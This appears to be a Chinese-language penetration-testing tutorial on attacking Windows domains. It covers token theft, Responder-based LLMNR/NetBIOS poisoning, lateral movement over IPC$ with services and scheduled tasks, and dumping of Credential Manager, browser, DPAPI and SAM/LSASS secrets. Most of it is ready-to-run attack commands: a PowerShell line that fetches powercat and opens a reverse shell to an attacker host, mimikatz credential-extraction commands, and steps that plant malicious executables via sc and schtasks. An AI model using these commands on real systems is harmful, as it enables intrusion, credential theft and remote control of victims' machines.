# 还可以使用下面这种方法添加账户和添加到管理员组
add_user test01 qqq@111 -h 192.168.2.26
add_group_user "Domain Admins" test01 -h 192.168.2.26
对"migrate <域管理员进程>"的解读
Empire下的令牌窃取
在Empire
下获取服务器权限后,可以使用内置的 mimikatz
工具获取系统密码。运行 mimikatz
,输入creds
命令,即可查看 Empire
列举出来的密码:
usemodule privesc/bypassuac
set Listener test
run
mimikatz
creds
使用pth <ID>
命令(这里的ID就是creds
下的 CredID
),即可窃取身份令牌。
同样,得到了有token的进程的进程号,也可以使用steal_token
窃取进程中的token,和使用ps找是一个道理。
针对令牌窃取提权的防御分析
针对令牌窃取提权的防御措施如下:
- 及时安装微软推送的补丁。
- 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
- 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
- 对于令牌,应采取加密存储及多重验证保护。
- 使用加密链路
SSL/TLS
传输令牌,以防止被中间人窃听。
无凭证条件下的权限
假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和 NetBIOS 欺骗攻击对目标网络进行渗透测试。
LLMNR 和 NetBIOS 欺骗攻击的基本概念
LLMNR
本地链路多播名称解析(LLMNR,全称Link-Local Multicast Name Resolution)是一种域名系统数据包格式。当局域网中的 DNS 服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到DNS服务器恢复正常为止。从 Windows Vista 开始支持 LLMNR ,Linux 系统也通过 systemd 实现了此协议,同时 LLMNR 也支持 IPv6。
LLMNR 的工作流程如下:
- DNS 客户端在自己的内部名称缓存中查询名称。
- 如果没有找到,主机将向主DNS发送名称查询请求。
- 如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
- 如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
- 主机通过 UDP 协议向组播地址 224.0.0.252 的 5355 端口发送多播查询请求,以获取主机名所对应的 IP 地址。查询范围仅限于本地子网。
- 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己 IP 地址的单播信息。
NetBIOS
NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的 IP 地址)。在 Windows NT 以后版本的所有操作系统(对于Windows系统来说,一般指从 Windows 2000 开始的版本)中均可使用NetBIOS。但是,NetBIOS不支持IPv6。
NetBIOS提供的三种服务如下:
- NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报。该服务需要使用域名服务器来注册NetBIOS的名称。默认监听UDP 137端口,也可以使用TCP 137 端口。
- Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听 UDP 138 端口。
- Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用TCP 139端口。
Hash类型
Net-NTLM Hash
NTLM 即 NT LAN Manager,NTLM 是指 telnet 的一种验证身份方式,即问询/应答协议,是 Windows NT 早期版本的标准安全协议。
Net-NTLM Hash 与NTLM Hash不同。
NTLM Hash
是指Windows操作系统的Security Account Manager 中保存的用户密码散列值(即Windows 登录密码的 Hash 值)。NTLM Hash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证(即可以在 Windows 系统的 SAM 文件或者域控的 NTDS.dit 文件中提取到出来)。此外,NTLM Hash 支持哈希传递攻击
Net-NTLM Hash
是指在网络环境中经过 NTLM 认证的散列值(即是网络环境下 NTLM 认证的 Hash)。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击(即该 Hash 不能进行哈希传递,但可用于 NTLM 中继攻击或者使用 Hashcat 等工具碰撞出明文进行横向)
NTLM-SSP Hash与NTLMv2-SSP Hash
NTLM是整个身份验证协议套件的名称,而NTLM-SSP是其中一种具体的实现方式。NTLM包括多个版本,如NTLMv1和NTLMv2(NTLMv2更安全),而NTLM-SSP是在这些版本中的一种实现,而NTLM-SSP Hash与NTLMv2-SSP Hash就是实现中使用到的密码散列算法,总结来说,NTLM是一套身份验证协议,而NTLM-SSP是其中一种具体的实现方式,用于在Windows操作系统中进行身份验证和建立安全连接。
在系统层面上来看,SSP就是一个dll,来实现身份验证等安全功能,实现的身份验证机制是不一样的。比如,NTLM-SSP实现的就是一种Challenge/Response验证机制;再比如,Kerberos-SSP 实现的就是基于ticket的身份验证机制,我们可以编写自己的SSP,然后注册到操作系统中,让操作系统支持更多的自定义的身份验证方法。
也有一些资料上称NTLM-SSP、NTLMv2-SSP为“协议”,我认为这是错误的,因为其并不是一种新的协议,只是一种对协议的具体实现。
在LLMNR和NetBIOS共同作用下的名称解析步骤
- 检查以确认请求是否针对本地计算机名称。
- 检查最近成功解析的名称的本地缓存。
- 搜索本地hosts文件当中解析。
- 查询 DNS 服务器,DNS没有回应或者收到了错误的信息。
- 如果启用了 LLMNR,则在本地子网中广播 LLMNR 查询以请求其对等方进行解析。
- 如果启用了 NetBIOS,如果名称不在本地 NetBIOS 缓存中,则尝试通过向本地子网广播 NetBIOS-NS 查询来解析 NetBIOS 名称。如果这样配置,此步骤可能会使用 Windows Internet 名称服务 (WINS) 服务器以及 LAN 管理器主机 (LMHOSTS) 文件
LLMNR和NetBIOS利用
上面说到,当目标网络的DNS服务器因发生故障而无法提供服务时,会退回LLMNR和NBT-NS进行计算机名解析。
Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。Responder是监听LLMNR和NBT-NS协议的工具之一,能够抓取网络中所有的LLMNR和NBT-NS请求并进行响应,获取最初的账户凭证。Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP 认证服务器、DNS服务器、WPAD 代理服务器,以及 FTP、POP3、IMAP、SMTP 等服务器,收集目标网络中计算机的凭据,还可以通过 Multi-Relay 功能在目标系统中执行命令。
Responder 项目地址:https://github.com/lgandx/Responder
Responder 不支持 Windows
进入目标网络后,如果没有获得任何目标系统的相关信息和重要凭证,可以开启 Responder 的监听模式
Responder 只会对网络中的流量进行分析,不会主动响应任何请求
#Responder 开启监听,-I 指定网卡,这里 eth1 的 IP 为 192.168.7.65
python Responder.py -I eth1
#responder -I eth1 --lm -Pv
ON代表针对该服务数据包的监听,OFF代表关闭监听。由此可以分析出网络中存在的IP地址段、机器名等。
在使用 Responder
对网络进行分析之后,可以利用SMB
协议获取目标网络中计算机的Net-NTLM Hash
。如果用户输入了错误的计算机名,在DNS
服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS
和LLMNR
进行解析,这个流程在上面已经反复提到
在渗透测试中,使用Responder并启动回应请求功能,Responder会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立SMB连接。客户端会发送自己的 Net-NTLM Hash 进行身份验证,此时将得到目标机器的 Net-NTLM Hash(即开启监听后,当目标主机上有人访问 Responder 主机的共享目录时,就会看到对方的 Net-NTLM 哈希值)
保存凭据为hash.txt,使用hashcat进行爆破
hashcat -m 5600 hash.txt password.txt -D 1
域内横向移动
域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁 (Advanced Persistent Threats
,APT
)中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows
操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
在渗透测试中,拿到目标计算机的用户明文密码或者 NTLM Hash
后,可以通过 PTH
(Pass the Hash
,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程 Windows
操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用 Windows
自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。在实际的网络环境中,针对此类情况,网络管理员可以通过配置 Windows
系统自带的防火墙或组策略进行防御。
IPC
IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
可以简单理解为,IPC$
是用于访问远程计算机上命名管道的共享资源名称,IPC$就是命名管道 (Named Pipe)
当目标开启了 IPC$ 文件共享并得到用户账号密码后,就可以使用 IPC 建立连接,获取权限
#建立 IPC 连接
net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
#查看当前的连接
net use
#映射磁盘到本地
net use t: \\192.168.7.107\c$
#删除映射的磁盘
net use t: /del /y
#列出对方目录
dir \\192.168.7.107\c$
#下载文件到攻击机(本质是复制)
copy \\192.168.7.107\c$\1.bat 1.bat
#写入文件到目标机器(本质也是复制)
copy C:\Users\Box\Desktop\calc.bat \\192.168.7.107\c$
#tasklist 查看进程
tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
这里对tasklist列出的表头含义进行说明:
-
会话名:一般有两种,分别是Console和Services。
-
会话#:一般有两种,分别0或1。这个表头表示进程所在的会话ID
#断开连接
net use \\192.168.7.107\ipc$ /del
IPC利用条件
-
开启了139、445端口。ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445(Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipc连接需要139、445端口的支持
-
管理员开启了默认共享。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录winnt或windows(admin$)通过ipc$,可以实现对这些默认共享目录的访问。
IPC连接失败原因
- 用户名或密码错误。
- 目标没有打开 ipc$默认共享。
- 不能成功连接目标的139、445端口。
- 命令输入错误。
IPC连接常见错误
- 错误号5:拒绝访问。
- 错误号51:Windows 无法找到网络路径,即网络中存在问题。
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未启动、目标有防火墙(端口过滤)。
- 错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipc$ 已被删除。
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接。
- 错误号1326:未知的用户名或错误的密码。
- 错误号1792:试图登录,但是网络登录服务器没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)。
- 错误号2242:此用户的密码已过期。例如目标机器设置了账号管理策略,强制用户定期修改密码。
IPC配合系统服务横向移动
在建立 IPC 连接后,可以配合系统服务实现横向移动
#建立IPC连接
net use \\192.168.142.10\ipc$ "密码" /user:账户
#上传恶意文件
copy C:\Users\Administrator\Desktop\can.exe \\192.168.142.10\c$\Users\Administrator\Desktop
#创建服务
sc \\192.168.142.10 create can binpath= "cmd.exe /c C:\Users\Administrator\Desktop\can.exe"
#开启服务
sc \\192.168.142.10 start can
#删除服务
sc \\192.168.142.10 delete can
计划任务
Windows 自带的可用于创建计划任务的命令有两个,分别是 at 和 schtasks,at 在 Windows Server 2008 及之后的系统中,已经被废弃了。
at
在建立 IPC 连接后,使用计划任务运行可执行文件,主要步骤如下:
- 查看目标主机时间
- 上传可执行文件到目标主机
- 设置计划任务执行可执行文件
- 删除计划任务
#首先查看下目标主机时间
net time \\192.168.7.107
创建一个反弹木马 bat 程序,这里使用 PowerShell 进行反弹,bat 文件内容如下:
powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.7.4 -p 4444 -e cmd"
在攻击机上开启 nc 监听
nc -lvp 4444
将 bat 程序上传到目标主机
copy evil.bat \\192.168.7.107\c$
使用 at 创建计划任务
at \\192.168.7.107 14:30 C:\evil.bat
可以使用at远程执行命令后,先将执行结果写入文本文件,再使用type命令远程读取该文本文件
at \\1.1.1.10 4:10PM cmd.exe /c "ipconfig" > C:/1.txt"
type \\1.1.1.10\C$\1.txt
如果想清除 ID 为 1 的计划任务
#计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。
at \\192.168.7.107 1 /del
查看所有的定时任务
at
schtasks
使用 schtasks 创建计划任务
# 如果此前已经和目标机器建立了ipc$,那么在使用schtasks命令时不需要输入密码。
# 如果没有建立ipc$,可以在执行schtasks命令时使用 /u 和 /p 参数指定用户名和密码
# 开机以 system 权限执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:\evil.bat /ru system /f
# 在 2021/08/03 前的每一天的 14:30:00 执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /tr C:\evil.bat /sc daily /st 14:30:00 /ed 2021/08/03
# 运行名称为 evil 的任务
schtasks /run /s 192.168.7.107 /i /tn "evil"
清除名称为 evil 的计划任务
schtasks /delete /s 192.168.7.107 /tn "evil" /f
#schtasks /delete /u administrator /p admin@123 /s 192.168.7.107 /tn "evil" /f
查看所有的定时任务
schtasks
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$使用type命令远程查看执行结果
在建立 IPC 连接后,除了使用计划任务进行间接的反弹 Shell,还可以通过 PsExec 直接反弹 Shell
PsExec 下载地址:https://download.sysinternals.com/files/PSTools.zip
Psexec.exe -accepteula \\192.168.7.107 -s cmd.exe
Windows中Credential Manager的信息获取
Credential Manager介绍
Credential Manager,中文译为"凭据管理器",用来存储凭据(例如网站登录和主机远程连接的用户名密码)。如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录。更详细的介绍如下:
可以通过控制面板或者运行control keymgr.dll
命令来打开Credential Manager,如下
Credential Manager保存凭据的类别及其目录
保存凭据的类别
Credential Manager保存的凭据有两类,如下
-
普通凭据,又称通用凭据(Generic Credentials):能够被用户进程读写
也就是说,普通权限就可以读取Generic Credentials类型的明文口令
比如,IE浏览器保存的凭据类型默认为Generic Credentials
-
域凭据(Domain Credentials):只有本地Local Security Authority (LSA)能够对其读写
也就是说,普通权限是无法读取Domain Credentials类型的明文口令的。
比如,文件共享保存的凭据类型属于Domain Credentials
在"凭据管理器"中,则分为两个选项进行管理,分别是Web凭据
和Windows凭据
当然,在Win7的凭据管理器中只有名为【Windows保管库】的选项,这个后面会提到,在现代版本Windows的凭据管理器中都是分为【Web凭据】和【Windows凭据】两个选项的。
注意不要混淆,Generic Credentials
和Domain Credentials
是按照凭据性质来分,而Web凭据
和Windows凭据
是按照凭据来源来分(或者说按照凭据来源来管理)。
所以按照这个逻辑,【Windows凭据】中可以有Generic Credentials,也可以有Domain Credentials,但是注意,【Web凭据】中只有Generic Credentials,因为它只记录和Web相关的凭据。当然,密码复用的情况不在此范畴内。
下面做两个视频,演示在凭据管理器中如何使用【Web凭据】和【Windows凭据】两个选项来管理凭据,加深对Credential Manager保存凭据类别的理解,如下:
这里提到,微软很有可能已经废弃了凭据管理器中的【Web凭据】功能,而改用将Web凭据保存到浏览器用户数据文件中的方式进行Web凭据的存储,针对这个推测,我使用下面的视频进行论证
保存凭据的目录
凭据保存在特定的目录,被称作为"保管库(Vault)",具体路径为%localappdata%/Microsoft\Vault
或者%USERPROFILE%\AppData\Local\Microsoft\Vault
。
此外,还有一个目录在%localappdata%/Microsoft\Credentials
或%USERPROFILE%\AppData\Local\Microsoft\Credentials
。
获得Credential Manager中保存凭据的基本信息
方法1:使用vaultcmd
vaultcmd是Windows系统自带的工具。
# 列出保管库(Vault)列表
vaultcmd /list
# 列出保管库(Vault)的凭据名称和GUID
vaultcmd /listschema
不同类型的凭据保存在不同的保管库(Vault)下,通过GUID对应,路径为%localappdata%/Microsoft\Vault\{GUID}
,如下
# 列出指定保管库(Vault)下的所有凭据信息
vaultcmd /listcreds:"保管库名称"
# 列出指定保管库(Vault)的属性,包括文件位置、包含的凭据数量、保护方法
vaultcmd /listproperties:"保管库名称"
# 比如
vaultcmd /listcreds:"Web Credentials"
vaultcmd /listcreds:"Web 凭据"
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listproperties:"Web 凭据"
如果是中文Windows操作系统,也可以用对应的GUID进行指定,如下
# 列出GUID为{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}的保管库(Vault)下的所有凭据
vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
# 列出GUID为{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}的保管库(Vault)的属性,包括文件位置、包含的凭据数量、保护方法
vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
vaultcmd还有一些其他命令,这里也提一下
-
vaultcmd /addcreds:添加凭据。具体命令格式,可键入
vaultCmd /addcreds /?
查看# 命令格式 vaultcmd /addcreds:<vaultname>|<vaultguid> /credtype:<schemaname>|<schemaguid> /identity:<identity> /authenticator:<authenticator> [/resource:<resource> /savedBy:<application name>] # 比如 vaultcmd /addcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} /credtype:{3CCD5499-87A8-4B10-A215-608888DD3B55} /identity:account /authenticator:pwd /resource:"http://www.abc.com/" /savedBy:"Internet Explorer"
-
vaultcmd /deletecreds:删除凭据。具体命令格式,可键入
vaultCmd /deletecreds /?
查看# 命令格式 vaultcmd /deletecreds:<vaultname>|<vaultguid> /credtype:<schemaname>|<schemaguid> /identity:<identity> [/resource:<resource>] # 比如 vaultcmd /deletecreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} /credtype:{3CCD5499-87A8-4B10-A215-608888DD3B55} /identity:account /resource:"http://www.abc.com/"
保管库GUID与架构GUID
上文中提到了保管库GUID
、架构GUID
,这里做一个说明,GUID是一种唯一标识(和UUID、UID一样),目的就是唯一定位某个架构/某个保管库,相比起通过架构名/保管库名进行定位,显然更具有唯一性和准确性,比如上面的vaultcmd命令中就可以通过GUID去指定某个保管库/架构。保管库之前已经介绍过了,这里讲一下架构,上面说过凭据类型可以分为普通凭据(Generic Credentials)
和域凭据(Domain Credentials)
,而架构就是凭据类型的细分,比如域凭据(Domain Credentials)可以细分为域证书凭据、域密码凭据等,所以对应的就有Windows 域证书凭据架构
、Windows 域密码凭据架构
等。
下面列举Windows系统中的保管库GUID
和架构GUID
,以中文Windows系统为例:
格式为【GUID:名称】
-
保管库GUID
-
4BF4C442-9B8A-41A0-B380-DD4A704DDB28:Web 凭据
Win7及以下版本机器,保管库名为"xxx 的保管库",xxx为当前登录的用户
-
77BC582B-F0A6-4E15-4E80-61736B6F3B29:Windows 凭据
Win7及以下版本机器,保管库名为"Windows 保管库"
-
-
架构GUID
-
2F1A6504-0641-44CF-8BB5-3612D865F2E5:Windows Secure Note
-
3CCD5499-87A8-4B10-A215-608888DD3B55:Windows Web Password Credential
-
154E23D0-C644-4E6F-8CE6-5069272F999F:Windows Credential Picker Protector
-
E69D7838-91B5-4FC9-89D5-230D4D4CC2BC:Windows 域证书凭据
-
3E0E35BE-1B77-43E7-B873-AED901B6275B:Windows 域密码凭据
-
3C886FF3-2669-4AA2-A8FB-3F6759A77548:Windows 扩展凭据
Win7及以下版本机器,架构名为"Windows Extended"
-
这里在附上分别来自于Win11
、Win10
、Win7
、Windows Server 2008 R2
执行vaultcmd /listschema
命令的截图,如下:
方法2:使用cmdkey
cmdkey是Windows系统自带的工具。
# 列出系统中的凭据信息,准确的说,是列出凭据管理器中【Window凭据】选项下管理的凭据信息。更准确的说,是列出GUID为77BC582B-F0A6-4E15-4E80-61736B6F3B29保管库下的凭据信息。
# Win7以上版本凭据管理器称【Window凭据】选项,Win7及以下版本凭据管理器称【Window保管库】选项
cmdkey /list
cmdkey还有一些其他命令,这里也提一下
# 显示帮助信息
cmdkey /?
# 添加域凭据
cmdkey /add:计算机名 /user:username /pass:password
# 比如向本机添加一个域凭据,用户名为jack,密码为jack。本机的计算机名用localhost即可
cmdkey /add:localhost /user:jack /pass:jack
# 再比如向名为"server01"的计算机添加一个域凭据,用户为mikedan,密码为Kleo
cmdkey /add:server01 /user:mikedan /pass:Kleo
# 添加普通凭据
cmdkey /generic:计算机名 /user:username /pass:password
# 比如
cmdkey /generic:localhost /user:kim /pass:kim
cmdkey /generic:server01 /user:jici /pass:010
# 删除凭据
cmdkey /delete
# 比如,删除在Windows凭据存储中存储的远程访问服务 (RAS) 凭据
cmdkey /delete /ras
# 比如,删除为计算机"server01"添加的凭据
cmdkey /delete:server01
这里再介绍一下远程访问服务 (RAS),如下:
为了加深对cmdkey的理解,这里做一个视频说明:
关于使用vaultcmd和cmdkey方法的说明
注意,如上使用vaultcmd和cmdkey的两种方法并不能获取到明文凭据,更多的属于域内信息收集的范畴(比如泄露计算机名、用户名、内网IP等)
凭据管理器的变迁及说明
Win7及以下版本系统中的凭据管理器只有【Windows 保管库】而没有【Web 凭据】,Win8及以上版本系统中的凭据管理器新增了【Web 凭据】选项,并将【Windows 保管库】选项更名为【Windows 凭据】
凭据管理器中的选项(Windows 保管库
也好、Windows 凭据
也好、Web 凭据
也好)实际上对应的就是保管库的名称,所以凭据管理器中选项的变更(如新增、更名等),本质上就是对保管库的变更(如新增、更名等)。
但是注意,Win7及以下版本系统中的凭据管理器只有【Windows保管库】而没有【Web凭据】,但并不代表Win7及以下版本系统中不提供Web凭据管理功能,实际上Web凭据管理功能就是操作GUID为4BF4C442-9B8A-41A0-B380-DD4A704DDB28的保管库,而这个保管库其实一直都存在(无论新老版本的Windows),只是新版本的凭据管理器将其显示了出来(即Web 凭据
选项),而老版本的凭据管理器默认是隐藏的 ,这里做一个视频讲解:
获取Generic Credentials的明文
获取"Web 凭据"保管库中普通凭据的明文
这个标题更准确的来讲,应该是获取保存到GUID为4BF4C442-9B8A-41A0-B380-DD4A704DDB28的保管库中的普通凭据的明文。这点在前面已经提到了,涉及到保管库名称的更名:Win7及以下版本为"xxx 的保管库",xxx为当前登录的用户;Win7以上版本为"Web 凭据",所以用GUID来表述会更加准确
使用Get-VaultCredential.ps1,下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1
powershell.exe -exec bypass -command "&{Import-Module .\Get-VaultCredential.ps1;Get-VaultCredential}"
Win7系统下的凭据管理器同Win8及以上版本有区别,多了一个名为程序使用此密码时提示我提供权限
的选项,如下
不用疑惑,就是老版本的凭据管理器相比新版本的功能还多了。这就涉及到对于软件更新的理解,软件更新迭代不一定意味着增加新的功能,软件更新迭代的正确理解应该是:优化(修复bug属于优化,新增功能属于优化,去除功能也属于优化,比如架构调整后不需要这个功能了所以去除)
如果勾选此选项,使用该脚本读取明文凭据时会弹框提示(点击确定/取消
后是能读取的)
在实战渗透环境下,弹框提示就意味着有亮屏的可能
这里做一个视频演示:
此外,该脚本也能获得名为"Windows Credentials"的保管库(Vault)下面的域凭据信息,但无法获得凭据的明文,如下
名为"Windows Credentials"的保管库,从代码里面可以看到,就是GUID为77BC582B-F0A6-4E15-4E80-61736B6F3B29的保管库。并且只能获得这个保管库下域凭据信息,不能获得普通凭据信息
为了避免混乱,我这里做一个简单的演示,便于理解脚本的作用:
获取其他方式保存的普通凭据的明文
即不是"Web 凭据"保管库中保存的普通凭据(不是保存到GUID为4BF4C442-9B8A-41A0-B380-DD4A704DDB28的保管库中的普通凭据),比如是在凭据管理器中手动添加的普通凭据(那就是保存到GUID为77BC582B-F0A6-4E15-4E80-61736B6F3B29的保管库中的普通凭据)
使用Invoke-WCMDump.ps1,下载地址:https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
powershell.exe -exec bypass -command "&{Import-Module .\Invoke-WCMDump.ps1;Invoke-WCMDump}"
该脚本还能导出Domain Credentials的相关信息,但是没有明文凭据
即会泄露一些Domain Credentials的相关信息(如用户名、内网地址等),但是明文凭据是没有的
还是为了避免混乱,我这里做一个简单的演示,便于理解脚本的作用:
获取Domain Credentials的明文
使用mimikatz获取RDP保存的域凭据的明文
会使用到上面提到的目录,即%localappdata%/Microsoft\Credentials
或%USERPROFILE%\AppData\Local\Microsoft\Credentials
。
先做几个视频介绍一下这个目录的性质:
从上面的演示中可以看到,RDP连接如果勾选了"记住我的凭据"选项,则会在%localappdata%/Microsoft\Credentials
或%USERPROFILE%\AppData\Local\Microsoft\Credentials
目录下保存Domain Credentials文件。
下面使用mimikatz导出Domain Credentials文件的明文
# 查找凭据文件
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
# 以784E3B1154AF63616D8BFA2EA797E1F5这个凭据文件为例,执行以下命令查找guidMasterKey
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\784E3B1154AF63616D8BFA2EA797E1F5" exit
# 提取和显示操作系统中存储的使用Windows Data Protection API(DPAPI)加密的凭据,查找guidMasterKey对应的MasterKey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
# 导出Credential Manager中明文凭据
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\784E3B1154AF63616D8BFA2EA797E1F5 /masterkey:2e672fa1fcc7ba755f4df0805b426a606a231211ca213b4111fc3c44b13513b0fbc20635bf24f5005ed94c7b8e830573c3b194c5237085be419b6ca3d1a086cd" exit
这里做一个视频演示操作流程,如下
使用mimikatz获取其他方式保存的域凭据的明文
即不是RDP连接保存的域凭据,比如是在凭据管理器中手动添加的域凭据(那就是保存到GUID为77BC582B-F0A6-4E15-4E80-61736B6F3B29的保管库中的域凭据)
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
这里提一下,使用此命令不仅能导出域凭据类型的明文,也能导出普通凭据类型的明文,但无法导出"Web 凭据"保管库中保存的(即保存到GUID为4BF4C442-9B8A-41A0-B380-DD4A704DDB28的保管库中的)普通凭据类型的明文以及RDP保存的域凭据的明文。
获取浏览器保存的凭据
前面提到,微软已经废弃了使用凭据管理器来保存Web凭据的方式(更准确的说,是废弃了使用GUID为4BF4C442-9B8A-41A0-B380-DD4A704DDB28的保管库中来保存Web凭据的方式),而是将Web凭据交由浏览器自身保存,保存在浏览器的用户数据文件中。那么下面介绍如何获取浏览器保存的凭据。
使用HackBrowserData工具,下载地址:https://github.com/moonD4rk/HackBrowserData
.\hack-browser-data.exe
其他Windows程序凭据获取
主要针对一些其他Windows程序所保存的凭据进行获取,推荐几个工具,如下
- SharpDecryptPwd:对已保存在 Windwos 系统上的部分程序的密码进行提取,包括Navicat、TeamViewer、FileZilla、WinSCP、Xmangager系列产品(Xshell、Xftp)。
Windows系统散列值(哈希)获取
Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit文件中,加密后为散列值,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。
Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:
username:RID:LM-Hash:NT-Hash
LM Hash的全名为“LAN Manager Hash“,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密,尽管LM Hash比较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows svista和Windows server 2008版本开始,Windows默认禁用LM Hash)。LM hash明文密码被限定在14位以内,也就是说,如果要停止使用LMHash,将用户的密码设置至14位以上即可,如果LMHash被禁用了,攻击者通过工具抓取的LMHash通常为“aad3b435b51404eeaad3b435b51404ee“(表示LMHash为空值或被禁用)
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,NTLM Hash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever 2003以后,Windows 操作系统的认证方式均为NTLM Hash。
在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。
要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。Isass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的Isass.exe进程或SAM文件中导出。
在Windows操作系统中,SAM文件的保存位置是C:\Windows\System32\config\SAM。该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进入文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。
常见的抓取密码的工具:
- GetPass
- PwDump7
- QuarkPwDump
- Get-PassHashes
- mimikatz
GetPass
GetPass 下载地址:https://bbs.pediy.com/thread-163383.html
以管理员权限直接运行 GetPassword.exe 直接查看到明文密码
windows7 32/64位
、windows 8 x64
、Windows Server 2008 R2 64位
测试通过
PwDump7
PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/
在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash
PwDump7 只能获取到用户的NTLM Hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文,或者通过彩虹表来破解哈希值,或者直接使用哈希传递。
